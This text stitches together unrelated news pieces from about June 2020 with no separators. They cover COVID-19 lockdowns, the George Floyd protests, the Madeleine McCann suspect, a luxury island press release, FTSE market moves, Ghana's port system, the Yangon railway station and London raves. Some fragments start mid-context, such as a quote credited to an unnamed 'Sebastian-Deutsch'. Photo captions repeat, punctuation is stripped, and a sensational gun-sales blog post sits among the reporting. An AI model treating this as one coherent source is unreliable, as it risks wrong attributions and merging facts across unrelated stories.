Our Breast Care Center is taking every precaution to keep you safe, including:

Requiring all patients, visitors and employees to wear masks

Screening patients and employees upon arrival to our care centers

Practicing social distancing in our waiting rooms

Increasing housekeeping and vigilance in our disinfection protocols

Early detection of breast cancer starts with an annual mammogram

Identifying breast cancer early is an incredibly important tool, as we know that early detection improves a womans overall prognosis and often results in less aggressive treatment options. One in eight women will develop invasive breast cancer over the course of their lifetime.

Making time for a mammogram every year is an important part of maintaining your overall wellness and protecting yourself from breast cancer.

Houston Methodist Breast Care Center at Sugar Land is pleased to offer the best technology to our patients, such as 3D mammograms, which help us evaluate dense breast tissue. In addition, we offer molecular breast imaging, dedicated breast ultrasound, breast MRI and outpatient image-guided breast biopsy, Sebastian-Deutsch added. We hope you stay well and visit us soon. We look forward to partnering with you in keeping your health care a priority.

For the latest news, events and information, visit houstonmethodist.org/sugarland or our Facebook page at fb.com/methodistsugarland.
KANSAS CITY GUN SHOPS ENJOY RECORD SALES AMID CORONAVIRUS & RIOTING!!!

"Gun Shows all but stopped completely due to Covid-19 lockdowns. Millions of dollars in sales just stopped abruptly. The demand did not . . . At the same time Walmart and other box stores quit selling ammo and some guns. What this did was push a very hungry customer base to local gun stores. I went to a local gun store and range this past week. Blue Steel in Raytown Mo. They had a waiting line to get to the counter. The owner told me so many people are buying guns, the manufacturers can't keep up with demand."

Like it or not, amid outcry for social justice, Kansas City is in the midst of a gun buying bonanza that is much more practical than so many of the plebs hording toilet paper.

Kansas City, USA And Granny Get Your Gun!!!

U.S. gun sales spike amid pandemic and protests After firearm purchases peaked near the start of the novel coronavirus outbreak, vendors in a number of United States regions said sales increased again recently. According to reports from local news outlets throughout this week, vendors in Florida, Alabama and North Carolina have noted substantial rises in demand from their communities.

Double-Barrel Boost

Gun sales break May record amid coronavirus pandemic, riots Gun sales spiked more than 80 percent year over year in May as consumers responded to safety concerns and civil unrest prompted, in part, by the novel coronavirus pandemic, experts said.

Gun Sales Shoot The Moon

Americans Just Bought Five Million More Guns | National Review More than 1.7 million firearms were sold in the U.S. last month, up 80 percent compared to last May. That follows a 71 percent surge in April to just under 1.8 million sold, and just under two million guns were sold in March.

This evening we've communicated with a few industry insiders and they've confirmed the local manifestation of a nationwide trend.However, just like our ongoing love for hottie Jenny P/Penny Mathis, this surge of interest in the 2nd Amendment is more complex than many believe . . .Again, we talked to a few people on this topic butshared some worthwhile info.While Mr. Dawson DOES NOT sell guns, he has a great deal of knowledge about the industry, the global supply chain, the local scene and more . . . Here's what he says . . .We can confirm this in Western JoCo and the Northland where gun sales are brisk and long lines are commonplace.Check the links . . .Developing . . .
Turkish President Recep Tayyip Erdogan reversed course Friday and did not reimpose the countrys weekend lockdowns as expected amid a spike in novel coronavirus cases.

Turkey has lifted restrictions on intercity travel and allowed a number of businesses such as restaurants and cafes as well as parks and sports facilities to reopen. This week, Turkey reopened two border crossings with Iraq and Iran.

The easing comes as the Health Ministry reported a spike in infections that many officials had feared was coming. Compared to the previous daily average of 700, the number of cases jumped Thursday to nearly 1,000. In total, Turkey has reported more than 167,000 cases and at least 4,630 deaths since March.

Turkey, which began weekend lockdowns April 11, was set to continue them amid the surge in new cases. But hours after the Turkish Interior Ministry announced a weekend curfew for 15 cities, Erdogan called it off, citing social and economic consequences.

On Twitter, Erdogan explained the need to return to a new normal and prevent the country from going through another plight after they were resuming their daily life after a break of two and a half months. He called on Turkish citizens to continue wearing masks, practice social distancing and observe good hygiene.

A near total lockdown remains in place for citizens aged 65 and older. With the exception of business owners, the elderly are under a curfew introduced March 21 but are allowed to leave their home for six hours on Sundays.

The Turkish economy is struggling with high inflation and unemployment after months of virus-related restrictions on business. The government said Friday it would release a comprehensive "employment shield" package to support workers, the state-run Anadolu Agency reported.
Jeyalakshmi Ramanujam By

Express News Service

MADURAI: Scare and infection apart, coronavirus is spreading hunger as well. Many tribal children, beneficiaries of governments mid-day meal scheme, are forced to work as labourers in sugarcane farms in a bid to fill their stomach.

The situation has prompted many educationists and social activists to urge the government to distribute cereals, grains, eggs and the like or allowance to the students through rations shops.

President of The Movement of Save School Education V Vasanthi Devi said that it would be impractical for the government to distribute cooked food every day to children during the lockdown.

The authorities could distribute the essential items required to make a mid-day meal. Nearly 90 per cent parents of the beneficiaries of the mid-day meal scheme are jobless now, she said. Citing the example of Kerala, Vasanthi said that the neighbouring state has been supporting the beneficiaries of midday meals by providing essential items to their families.

In Tamil Nadu, many tribal children are now engaged in cutting sugarcanes. If this continues, it will be very difficult to bring them back to schools when they reopen, she said.

Speaking to Express, Madurai MP S Venkatesan said that the government should ensure the food security of those students who are beneficiaries of the mid-day meal scheme even during the lockdown.

The headmaster of Dr T Thirugnanam Primary School (government- aided) said that the Centre has been providing Rs 4.35 per day as mid-day meal expenses.

An average of 76 days of mid-day meal needs to be given to each student. The government could distribute this food allowance in the form of eggs, rice and the like. It will not burden the government as the amount for this has already been allotted, he said.

He further said that Uttar Pradesh government passed an order on Friday for distributing food security allowance in the form of cash to the bank accounts of the students parents.

Quoting news reports, child rights activist TR Parvathavarthini said that on regular days, 25 per cent of schoolchildren are coming to schools without having their breakfast.

At least from now on, the government should support the children until the schools reopen, she added.

Schools to reopen after results are announced

CHENNAI: Schools will reopen only after the results of the public examinations are announced, said School Education Minister KA Sengottaiyan, on Thursday.

He said, As this year the teachers received less time, we have set up an expert committee to review measures needed to complete the syllabus. Ideally, teachers need 210 working days to complete syllabus.

Midday meal: Over 1.5 Lakh beneficiaries

Over 43 lakh students in the State are beneficiaries of the mid-day meal scheme.

The scheme was introduced by the then Chief Minister Kamaraj in 1956 to provide at least one meal per day to the lakhs of schoolchildren from financially poor families. In Madurai district alone, as many as 1,50,375 students are beneficiaries of the scheme.

Last date for private colleges to submit fee

CHENNAI: The Directorate of Technical Education has extended the last date for colleges to submit their fee proposal for three consecutive academic year starting 2020-21, till June 15.

The State Committee on fixation of fee in respect of self-financing professional colleges had earlier asked the principals of private engineering and arts colleges and polytechnic colleges to submit the fee proposal for their institution by May 30.

The fee for the time period will be fixed based on the proposal sent by the institutions.

Hall tickets issued for State public exams

CHENNAI: The Tamil Nadu Directorate of Government Examinations (DGE) started the distribution of hall tickets for students who will soon write their Class 10 State Board public examinations.

The exams will be conducted from June 15-25. Students can either download the hall tickets from the DGE website or collect it from their schools.

The Director of School Education has informed schools that students shall collect their hall tickets from their schools after slotting pre-assigned time to maintain social distancing. Meanwhile, schools are using roll number or alphabetic order to distribute hall tickets.

The government has also issued the hall tickets for private candidates as well as Class 11 and 12 students who missed out on their exams during the lockdown.

Schools have been directed to deliver the hall tickets to students who live in containment zones or are in-home quarantine.
The new suspect in the Madeleine McCann case had a year-long relationship with a British expat while living in Portugal, it emerged yesterday.

German paedophile Christian Brueckner is said to have wooed the woman by taking her on drives along the Algarve in his classic Jaguar.

They also enjoyed romantic dinners at his remote rundown farmhouse on a hill overlooking Praia da Luz in 2004.

Locals in Praia de Luz said German paedophile Christian Brueckner, pictured holding a dog in a bar in Hanover, Germany in 2011, dated a string of women while living in Portugal

Brueckner is believed to have entertained a British woman while living in this house in Praia de Luz, Portugal

But the British expat, whose identity is unknown, is understood to have grown tired of the relationship and ended it.

She is said to be one of a string of young women who Brueckner courted during his 12-year stay in the region.

He disappeared from the seaside resort shortly after Madeleine was snatched as she slept alongside her twin siblings in May 2007. He has emerged this week as a key suspect in her disappearance.

Neighbours living near the farmhouse said his lovers found his odd behaviour off-putting.

One said: He had no interest in socialising with any of his neighbours and at times he went out of his way to avoid us.

He also kept his girlfriends away from us. I rarely saw this British woman he went out with.

Police are trying to trace all the woman Brueckner dated to see if they can help with the Madeleine investigation.

The suspect, now 43, first moved to the Algarve in 1995 at the age of 18. He met a young German woman and moved with her into the farmhouse on a hillside above the beach were Madeleine played.

Brueckner used this classic Jaguar to take women he was wooing out for long drives

Neighbours said their relationship was tempestuous and they often saw them arguing. One said: He seemed to be a choleric man.

The relationship with the British woman came later.

Brueckner moved out of the property in 2006, leaving it a ramshackle mess, neighbours said.

At the time of Madeleines disappearance he was understood to have been living in a distinctive camper van which he sold to a breakers yard for 4,500 in 2015.

Last night it emerged that police seized the VW T3 Westfalia van from the yard some 25 miles inland from Praia da Luz in 2019.

The owner of the yard, who asked to remain anonymous, said: The police said they needed the van as part of the investigation. It was all very sudden  there had been nothing on the TV or in the papers about the case at that time.

Im not sure Id ever get it back, but if it turns out Christian had something to do with Madeleines disappearance, then I dont want it back. It wouldnt be right.

It has been revealed that Brueckner received a call from a mobile just over an hour before Madeleine vanished. The Portuguese newspaper Jornal de Noticias said the number he was called from was registered to a Diogo Silva, which is a common name in Portugal.

In May 2017, Brueckner was held under a European Arrest Warrant and extradited to Germany. That September, he was sentenced to 15 months in prison for the sexual abuse of a child, according to the Hanover prosecutors.

Yesterday Kate and Gerry McCanns Portuguese lawyer Rogerio Alves said: A new lead publicised by the police, which is therefore not an anonymous lead or a frivolous one, is obviously going to give the family hope.

The family want this investigation to continue because the case is still active. Madeleines parents want to know the truth.
ELEUTHERA, Bahamas, June 5, 2020 /PRNewswire/ -- Off the coast of Eleuthera sits Cuvee's Royal Island, a 430-acre private enclave that accommodates up to 18 guests for fully customizable and exclusive island rentals. Frequented by celebrities and prolific families alike, Royal Island's guest book includes Kevin Hart and family as well as multiple generations of the Manning family.

Cuvee's Royal Island Cuvee's Royal Island

Privacy, personalized luxury, and island adventure are the hallmarks of Royal Island and rentals start at $14,000 per night for up to 12 guests. Available for buyout experiences only, every booking includes luxe accommodations in the island's five beachfront bungalows and spa suites, as well as personalized menu and beverage planning and your own private chef, dedicated on-island concierge and service staff. Also included are endless water activities in the form of snorkeling off a local shipwreck, private sandbar lunches, jet skis, paddleboards, hobie cat sailing, swimming with pigs, movie nights under the stars and more.

The Bahamas announced the reopening of ports to tourists effective July 1, 2020 and Royal Island will be welcoming back visitors that same day. Accessing Royal Island is fairly easy too  both the commercial and private airports on North Eleuthera are just an hour flight from South Florida and approximately 30 minutes transfer to Royal Island, via private car and the island's Royal Treatment boat.

To reserve Cuvee's Royal Island, contact Cuvee at:

Website

720.833.4533

About Cuvee

Cuvee owns and curates a rare collection of ultra-luxury villas and chalets in celebrated global destinations, including the Colorado Rockies (Aspen, Vail, Beaver Creek), Hawaii's Big Island, Los Cabos, St. Barts, The Bahamas, Tuscany, and more. Our vision is to create the world's most elevated travel experiences by connecting our guests to their surroundings through couture design and architecture, exceptionally tailored guest planning, and immersive, singular cultural experiences. Learn more at www.cuvee.com.

Media contact:

Christa Weaving

720 708 2212

SOURCE Cuvee
Secretary of State Mike Pompeo on Thursday urged allies to make up a shortfall in funding to defeat the Islamic State movement despite a budget crunch after the devastation of the coronavirus pandemic. The United States and Italy led a meeting of 31 nations on fighting the extremists, held virtually due to precautions to stop the virus. A US raid last year killed the group's leader, Abu Bakr al-Baghdadi, shortly after President Donald Trump declared the group that once ruled vast swathes of Syria and Iraq had been defeated on the battlefield. "That said, our fight against ISIS continues, and will for the foreseeable future. We cannot rest," Pompeo told the conference. "We must continue to root out ISIS cells and networks and provide stabilization assistance to liberated areas in Iraq and Syria," he said. "It's true that the pandemic is putting enormous pressure on all of our budgets, but we urge your nations to pledge toward our goal of more than $700 million for 2020," he said. The funding drive by the coalition, which seeks to bring stability to Iraq and Syria, has raised only $200 million this year as of May 26, a State Department spokesperson said. The United States has pledged $50 million for northeastern Syria as well as $100 million in support for Iraq, whose new prime minister, Mustafa Kadhemi, has been welcomed by Washington. The Islamic State group at its height carried out grisly mass executions and enslaved non-Muslims as it inspired attacks around the West. Even as the extremists' presence has dwindled in its former stronghold, alarm has grown over the Islamic State group's influence in West Africa and Afghanistan. The United States blamed the Islamic State group for a horrific attack last month at a maternity hospital in Kabul, saying the militants wanted to scuttle a nascent peace process between the Taliban and the Kabul government.
Leading experts on Africas development have said that the speed and scope of the continents post-COVID-19 recovery will depend on the effective implementation of the African Continental Free Trade (AfCFTA).

The AfCFTA is an African Union (AU) flagship initiative that creates a single market for goods and services, a customs union and guarantees the free movement of people and capital.

Vera Songwe, the Executive Secretary of the United Nations Economic Commission for Africa (UNECA) and Albert Muchanga, the AUs Commissioner for Trade and Industry and others emphasized the role free trade in Africa could play in stimulating post-COVID-19 development across the continent, while at the same time mitigating conflict.

Ms Songwe and Mr Muchanga were among several speakers on the topic of trade and silencing the guns in Africa during this years Africa Dialogue Series (ADS), an annual event organized by the UNs Office of the Special Adviser on Africa, to raise awareness of issues related to Africas peace, security and development. This year the event was held virtually during 20  22 May.

Ms. Songwe linked inclusive development to peace and security. When people are unemployed, conflicts arise, she said, adding that the AfCFTA offers an opportunity to build back better after COVID-19. We need to provide things like jobs, energy, water and so on.

A UNECA report states that, On current trends, 86% of the global poor will be in Africa by 2030.

Mr. Muchanga and the other participants in the virtual event concurred that increased intra-African trade would foster regional integration and development, leading to peace and security.

History has shown that countries that trade amongst themselves rarely go to war, said Mr. Muchanga, adding that: The benefits of free trade are not only economic; nations become more economically interdependent. They swim or sink together.

Stephen Karingi, the UNECAs director of Regional Integration, Infrastructure and Trade Division, detailed how the AfCFTA could help tackle development challenges.

He said AfCFTA will enhance economic interdependence of countries and increase the opportunity cost of conflict.

Trade fosters economic development and wealth that would have been lost to conflict, said Mr. Karingi.

Countries participating in a free trade area easily cooperate on security issues, he added, citing the example of the Economic Community of West African States (ECOWAS), which established in 1998 a moratorium on small arms and implemented an import ban on weapons not approved by member states.

Besides, the AfCFTA could potentially secure food supplies. Thirty-nine African countries are net importers of basic food, particularly rice and wheat. [Free] trade plays a significant role in building resilience and mitigating the severity of food security shocks, emphasized Mr. Karingi.

Trading under the AfCFTA, which had been scheduled to commence on 1 July 2020, has been put on hold because of COVID-19. Mr. Muchanga explained that the AU will announce a new date after a review of the situation.

Despite the holdup, Jackie Cilliers, the head of African Futures and Innovation, Institute for Security Studies, advised African nations to avoid the temptation to step back. COVID-19 is a wake-up call to implement the AfCFTA as soon as possible.

He referred to the trade pact as the single most important way to change Africas productive systems.

For more information on COVID-19, visit www.un.org/coronavirus

Africa Renewal
2 1 of 2

US civil rights leader Al Sharpton, left, stands with others as they bow their heads during a memorial service in honor of George Floyd on June 4, 2020, at North Central University's Frank J. Lindquist US civil rights leader Al Sharpton, left, stands with others as they bow their heads during a memorial service in honor of George Floyd on June 4, 2020, at North Central University's Frank J. Lindquist Sanctuary in Minneapolis, Minnesota. Kerem Yucel / Getty Images American civil rights activist Rev. Al Sharpton arrives for the memorial service in honour of George Floyd on June 4, 2020, in Minneapolis, Minnesota. - On May 25, 2020, Floyd, a 46-year-old black man suspected American civil rights activist Rev. Al Sharpton arrives for the memorial service in honour of George Floyd on June 4, 2020, in Minneapolis, Minnesota. - On May 25, 2020, Floyd, a 46-year-old black man suspected of passing a counterfeit $20 bill, died in Minneapolis after Derek Chauvin, a white police officer, pressed his knee to Floyd's neck for almost nine minutes. (Photo by CHANDAN KHANNA / AFP) (Photo by CHANDAN KHANNA/AFP via Getty Images) CHANDAN KHANNA / AFP Via Getty Images As national protests touched off by the death of George Floyd entered their 10th day Thursday, Connecticut organizers have announced plans for more upcoming demonstrations. In New Canaan, demonstrators sang The National Anthem and Stand By Me after gathering at Saxe Middle School late Thursday afternoon.

Five other communities had gatherings planned for Thursday, as well as in the state capitol.

The planned protests follow several large marches in Connecticut on Wednesday over the death of Floyd, an African-American man who died in custody after a Minneapolis police officer was filmed kneeling on his neck for more than eight minutes.

Mourners gathered in Minneapolis Thursday for a memorial service for Floyd led by the Rev. Al Sharpton. It was one of three events planned.

George Floyds story has been the story of black folks. Because ever since 401 years ago, the reason we could never be who we wanted and dreamed to be is you kept your knee on our neck, Sharpton saying during his eulogy. Its time for us to stand up in Georges name and say, Get your knee off our necks!

On the same day, an investigator in Georgia said a white man accused of fatally shooting Ahmaud Arbery, a black jogger, had called him a racist slur in the moments following the Feb. 23 shooting, multiple outlets reported.

The news came amid a week of demonstrations in Connecticut, where protesters held marches Wednesday in Stamford and Danbury, including shutting down a section of I-84 for about an hour.

More protests are planned this week and next.

In Trumbull, organizers plan to hold a vigil Saturday at the Town Hall gazebo starting at 11 a.m.

In Milford, town native Kira Cassandra organized a solidarity protest for Black Lives Matter and Floyd on Monday.

Cassandra, who said she knew Jayson Negron and was friends with Mubarak Soulemame, both teens shot and killed by police, planned the protest to begin at 3:30 p.m. at the gazebo on the city green.

This protest is all about solidarity, and since Milford is my hometown, I decided to take point, Cassandra said.
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The new structure is based on Burmese traditional architectural stylesa significant departure from its previous version, which was in the British Victorian style. On opening day in 1954, free trains operated from the central station to Thingangyun Station.

It took around eight years, from 1947 to 1954, to build the new railway station, the first station built in independent Myanmar. The new station is bigger than its predecessor from the colonial period and cost 4.75 million kyats at the time.

After the war, the station was rebuilt based on the design drawn by engineer U Hla Thwin with the support of architect U Tin, who also designed Yangon City Hall.

The central railway station was first built in 1877 by the British to support Myanmars first railway line from Yangon to Pyay. It was demolished and a new railway station was built in 1911. The second station was then destroyed by bombing during World War II.

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WHO Chief Urges Trump to Think Twice About US Withdrawal

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The Day Yangon Central Railway Station Opened for Service for the Third Time

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President of the Chamber of Freight forwarders and Trade (CTF), Dennis Amfo-Sefah, has stated that the current technical hitches the implementation of UNIPASS is experiencing cannot be blamed on President Nana Addo Dankwa Akufo-Addo.



He said just like any other new system, UNIPASS indeed experienced some teething challenges that it was surmounting and it was therefore not reasonable to blame it on the President.



Mr Amfo-Sefah, who was speaking to the Ghana News Agency in Accra on Friday said I can assure you that the claims that we are angry at the President are not true; among us Freight Forwarders, there is no unhappiness towards President Akufo-Addo because we know the truth."



The truth is that people who feel they are losing port management contracts are simply fighting back the smooth take-over of port administration by UNI-PASS; that is the simple truth. These people feel pained about losing the contract to manage the ports and so they have decided not to cooperate.



Mr. Amfo-sefah however failed to name those behind it, saying The people I am referring to know themselves and at the appropriate time everybody will know the real truth.



Some Media outlets since the implementation of the UNIPASS system reported that President Akufo-Addo was becoming unpopular among importers and freight forwarders because of glitches that were bedeviling the new UNI-PASS system.



They attributed the hitches to some senior members of government, who were allegedly responsible for the happenings at the ports for introducing CUPIA Korea and its UNI-PASS system and therefore allegedly orchestrated the abrogation of the contract of GC Net and West Blue to make way for the latter.



However, Dennis Amfo-Sefah pointed out that, Nobody among us is angry with the President or any of his appointees because we know that the mess is not the making of any of them. The arrangement had been for the old operators to slowly back out so that UNI-PASS would slowly take over. This would have led to a seamless integration.



However, the operators of the old system disengaged rather abruptly, leading to the challenges, Mr. Amfo-Sefah said.



According to him, the difficult switch from the old system to the new one was the problem not President Akufo-Addo or his Ministers.



He was however hopeful that the problems would be fixed very soon.



This is the second time that the abrupt disengagement of the old port management system to make way for the new one is causing problems. In early May, a similar disengagement grounded operations at the port for days.



UNI-PASS is a new port clearing system that processes documents and payments through one window. It is a departure from the previous system in which valuation and classification and risk management and payment were handled by different entities.



The single window system is aimed at coordinating all activities at the ports on one platform to reduce time and cost in clearing and exporting goods.



The system, spearheaded by Ghana Link Services Ltd, in collaboration with Customs UNIPASS International Agency (CUPIA) of the Korean Customs Service, the designer of the system, replaces the Pre-Arrival Assessment Report (PAARS) and the Ghana Customs Management System (GCMS) jointly operated by the Customs Division, the Ghana Community Network Services (GCNet) Ltd and West Blue Consulting.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Situated between a World War I monument and a Confederate Civil War cannon, around 100 young activists gathered in Mobiles Memorial Park Thursday afternoon to protest the death of George Floyd and other black people who died at the hands of police.

Compared to the civil unrest seen in Mobile on Sunday and in Birmingham and Huntsville over the last five days, Thursdays protest in the Port City was remarkably different. Protesters, who lined Old Government Street and Government Street, were young, diverse, and very peaceful.

On the Government Street side of the protest, music blared as protesters of high school and college age paraded their signs and shouted, Black Lives Matter and No Justice No Peace. In return, motorists honked and raised their fists in a show of solidarity.

Every age should be out here. We are trying to make a change, said Daimontage Finch-Tucker, 22, a Junior at the University of South Alabama and Army Reserve. Finch-Tucker said Mobile was fortunate it didnt have to see snipers on rooftops like in Huntsville.

They didnt think they were going to be shot. George Floyd didnt think his last words would be, I cant breathe.

Finch-Tucker added that his cousin had been arrested for playing music too loudly while driving past a protest on Airport Boulevard Sunday evening. Police said that he helped incite the unrest that followed, including police shooting pepper balls at protesters.

That same night, 13 people were arrested by MPD in connection with the protests. Around 26 charges were filed against those arrested, including charges of disorderly conduct, burglary, criminal mischief, and arson.

Since then, Mobile has had a string of peaceful protests, taking place in Prichard and in West Mobile. Mobile Police Chief of Police Lawrence Battiste personally greeted some of the activists at a protest outside a Dollar Tree Tuesday, telling them to look after themselves. He then left and had a single patrol car come to ensure everyone was safe.

At Thursdays protest in Memorial Park, police turned up on a couple of occasions to tell activists and one AL.com reporter to stay off the roadway. A few people shouted obscenities at the officer, who paid no attention and went back to his car.

Despite the lack of police, some first-time protesters had decided to take precautions after having seen the violent clashes between police and protesters across the country.

Taylor Spears, 22, asked her father to accompany her to Thursdays protests in case something happened.

I wanted to come anyways, but I wanted him with me because a lot of times this doesnt end well, she said. I wanted someone to account for me when this is over.

She added: I think these start peacefully, but the people in power are itching to touch somebody and when you touch somebody thats when things turn.

I still havent gotten over Trayvon Martin. I know people older than us have seen a lot but were having to do something about that now.

Toward the end of the protest, and in keeping with protests around the country, everyone knelt 8 minutes and 46 seconds that Floyd remained pinned under the knee of Minneapolis Police Office Derek Chauvin.
(Sharecast News) - London stocks rose in early trade on Friday following losses in the previous session, as investors eyed the latest US non-farm payrolls report.

At 0830 BST, the FTSE 100 was up 0.8% at 6,389.72.



Spreadex analyst Connor Campbell said: "Europe got back on the horse on Friday, resuming a June rally that paused momentarily yesterday ahead of this afternoon's likely shocking non-farm jobs report.



"Analysts are expecting the headline figure to show that a further 7.75 million jobs were lost last month, an estimate that is already lower than the initial 9 million-plus assessment thanks to Wednesday's far better than forecast ADP reading.



"It bears repeating that it is insane that such a high figure could draw market-relief, but then, we are in unprecedented times, and investors have quickly adapted to this new normal."



The payrolls report, unemployment rate and average earnings are due at 1330 BST.



On home shores, the latest survey from GfK showed consumer confidence fell in May to its worst level since January 2009 as the Covid-19 pandemic continued to weigh.



A "flash" report by GfK using data gathered between 20 and 26 May showed the long-running consumer confidence index fell by two points to -36, with four out of five of the measures that make up the index down. This was just three points below the historic low of -39 in July 2008.



Joe Staton, client strategy director at GfK, said: "Against a backdrop of falling house prices, soaring jobless claims, and with no sign of a rapid V-shaped bounce-back on the cards, consumers remain pessimistic about the state of their finances and the wider economic picture for the year to come.



"The only bright spark in the numbers is for the major purchase index with a six-point fillip, pointing to latent demand among shoppers across the UK despite most outlets remaining shuttered. As the lockdown eases, it will be interesting to see just how the consumer appetite for spending returns in a world of socially-distanced shopping and the seismic shift to online retailing - alongside worries of a fresh spike in Covid-19 cases as relaxations increase."



In equity markets, airlines were the standout gainers, with budget offering easyJet and British Airways and Iberia parent IAG both sharply higher.



Cruise operator Carnival also rallied, along with Premier Inn owner Whitbread.



Elsewhere, Virgin Money rose after it and Aberdeen Asset Management agreed to provide up to 12.5m each of extra funding for their asset management joint venture.



Waste management company Biffa was in the red after its full-year results, while luxury fashion brand Burberry was a little weaker after a downgrade to 'sell' at Goldman Sachs.



Market Movers



FTSE 100 (UKX) 6,389.72 0.76%

FTSE 250 (MCX) 18,020.43 1.09%

techMARK (TASX) 3,831.09 0.44%



FTSE 100 - Risers



easyJet (EZJ) 914.60p 9.80%

International Consolidated Airlines Group SA (CDI) (IAG) 313.10p 8.64%

Carnival (CCL) 1,263.50p 5.78%

M&G (MNG) 156.75p 3.98%

Whitbread (WTB) 2,625.00p 3.96%

Rolls-Royce Holdings (RR.) 336.00p 3.70%

Glencore (GLEN) 175.18p 3.56%

Meggitt (MGGT) 351.00p 3.36%

Standard Life Aberdeen (SLA) 275.50p 3.26%

Aviva (AV.) 290.10p 3.17%



FTSE 100 - Fallers



Pennon Group (PNN) 1,115.00p -1.68%

Reckitt Benckiser Group (RB.) 6,936.00p -1.45%

Smith & Nephew (SN.) 1,674.00p -1.09%

Rentokil Initial (RTO) 485.30p -0.96%

Experian (EXPN) 2,887.00p -0.93%

GlaxoSmithKline (GSK) 1,636.60p -0.88%

Auto Trader Group (AUTO) 561.40p -0.81%

Burberry Group (BRBY) 1,628.00p -0.73%

Spirax-Sarco Engineering (SPX) 9,952.00p -0.73%

Unilever (ULVR) 4,373.00p -0.61%



FTSE 250 - Risers



St. Modwen Properties (SMP) 391.50p 6.53%

Mitchells & Butlers (MAB) 209.00p 5.77%

Morgan Advanced Materials (MGAM) 248.50p 5.74%

Virgin Money UK (VMUK) 106.20p 4.58%

Bakkavor Group (BAKK) 82.60p 4.56%

Bank of Georgia Group (BGEO) 1,060.00p 4.54%

Fisher (James) & Sons (FSJ) 1,334.00p 4.38%

Micro Focus International (MCRO) 496.10p 4.35%

WH Smith (SMWH) 1,223.00p 4.26%

4Imprint Group (FOUR) 2,665.00p 4.10%



FTSE 250 - Fallers



Kaz Minerals (KAZ) 458.90p -7.67%

Biffa (BIFF) 249.00p -5.14%

Watches of Switzerland Group (WOSG) 276.00p -2.99%

Energean (ENOG) 526.00p -2.95%

TR Property Inv Trust (TRY) 370.00p -2.25%

Plus500 Ltd (DI) (PLUS) 1,271.00p -1.17%

HarbourVest Global Private Equity Limited A Shs (HVPE) 1,474.00p -0.94%

Ibstock (IBST) 201.20p -0.59%

Softcat (SCT) 1,104.00p -0.54%

Renishaw (RSW) 4,084.00p -0.49%
By PTI

MUMBAI: With a trend of steady decline in COVID-19 cases in Mumbai, the average daily growth rate of infections has gone down, claimed officials of the city civic body, spearheading the metropolis's response to the pandemic.

According to a top Brihanmumbai Municipal Corporation (BMC) official, as per the data till June 2, the average daily growth of COVID-19 cases went down from more than 8 per cent a a few days ago to 3.64 per cent.

Till June 2, a total of 41,986 COVID-19 cases and 1,368 deaths were recorded in the city, the worst-hit by the disease in Maharashtra.

According to the BMC, it has conducted over 2.08 lakh tests till June 2, of those only 20.18 per cent people tested positive for the novel coronavirus.

"Even the COVID-19 case doubling rate has gone up to 19 days," said the official.

According to BMC's health department data, in the past one month, the maximum number of cases, 1,739, on a single-day were detected on May 22, while the minimum, 404, was recorded on May 13.

Another senior BMC official said, the daily number of cases are seeing a declining trend with the count remaining below 1,500 on most of the days since May 22.

According to the officials, due to aggressive screening, testing and contact tracing of suspected COVID-19 patients, the civic body has been successful in keeping the spread of the pandemic under control.
Ravers have been using WhatsApp and Instagram to run illegal all-night parties in abandoned buildings where hundreds 'risk lives' by flouting social-distancing rules.

Organisers charged 15-a-head for the gatherings in London, which saw clubbers dance to house music in close proximity in squats.

Private social media pages direct customers to shady WhatsApp groups where they are sent a picture of the rave's location when they pay.

Walford Forest Council ASB Patrol Team are pictured on the scene of the illegal rave on May 25

The rave was happening on Joseph Ray Road in Leytonstone, east London (pictured, general view)

At least three parties, run by Kanni Events Ltd, were held at the disused warehouse in Leytonstone, in the east of the capital, on May 17, May 23 and May 24.

Organisers said up to 100 people turn up to the 300-person venue, but only about 50 are allowed in at one time to ensure social distancing.

Yet footage shows people cramped into an abandoned business building, in a flagrant breaking of the rules.

Under the latest rules groups of up to six, including mixed households, are allowed to meet in outside spaces - but social distancing must be strictly followed.

Police swooped on two of the parties but none of the illegal ravers were arrested.

The Met said patrols had been increased and a repossession notice was issued by it and Waltham Forest Council on Tuesday.

Organisers charged 15-a-head for the gatherings in London (pictured), which saw clubbers dance to house music in close proximity

Private social media pages direct customers to shady WhatsApp groups where they are sent a picture of the rave's location when they pay (pictured, one of the raves)

MP for Leyton and Wanstead John Cryer told the BBC: 'It doesn't get much lower than this.

'I've just written to a constituent whose husband died of coronavirus. I wonder if the people organising the raves might appreciate reality if the lives of their own relatives were in danger.'

Cllr Clyde Loakes, Deputy Leader and Cabinet Member for the Environment, said: 'Waltham Forest Neighbourhood and Enforcement Officers worked with the police and others to close down an illegally squatted venue in Leytonstone which was being used to host a number of illegal raves, in clear contravention of the lockdown rules and regulations.

'We have a duty at this time to protect the safety of our residents and visitors to the borough throughout the COVID-19 pandemic.

'It is still important that we all take steps to stop the spread of the virus, which includes not hosting or attending large gatherings at this time.'

Police swooped on two of the parties but none of the illegal ravers were arrested. The Met said patrols had been increased. Pictured: One of the locations posted on social media

But the organisers hit back claiming the events were not raves and attendees temperatures were taken before entering as well as staff being given PPE.

It comes after a string of high-profile gatherings in the capital which has drawn huge crowds into compact areas.

On Tuesday revellers were filmed crowding together for a street party in Harlesden where fireworks were set off as Brent Police officers tried to break it up.

Officers were first called to a block party of around 60 people at 6.45pm, but as the gathering broke up a much larger one, thought to be around 500 people, formed less than a mile away and went on until 3.40am.

Five party-goers were arrested after 11 officers were assaulted by one group who refused to leave.

Videos shared online showed hundreds of people dancing and holding plastic cups as they defied lockdown restrictions.

A spokesman confirmed 11 officers were left with minor injuries as they tried to disperse revellers.

Chief Superintendent Roy Smith, Commander for North West London, said: 'Our officers are working hard to engage with the public to reinforce the public health advice on social distancing and large gatherings  overwhelmingly our local communities have been supportive and responded to this approach and we thank them for that.

'To the very small minority who chose to break the law last night and who were not from the local area, I am clear; you do not reflect the communities of Brent and we will take appropriate action.

'Local residents should be reassured we will be increasing our patrols in the area following the incident.'
Two members of the South Carolina National Guard supporting law enforcement in Washington, D.C., were injured by lightning early Friday morning as storms swept across the region.

The two "were in close proximity of a lightning strike while on duty in D.C." to support federal law enforcement, the National Guard Bureau said in a statement. Protests have been a daily occurrence in the District since the May 25 death of George Floyd, an unarmed black man, at the hands of Minneapolis police.

Read next: Soldiers Pull BLM Signs, Confederate Flag from Vehicles After Viral Confrontation

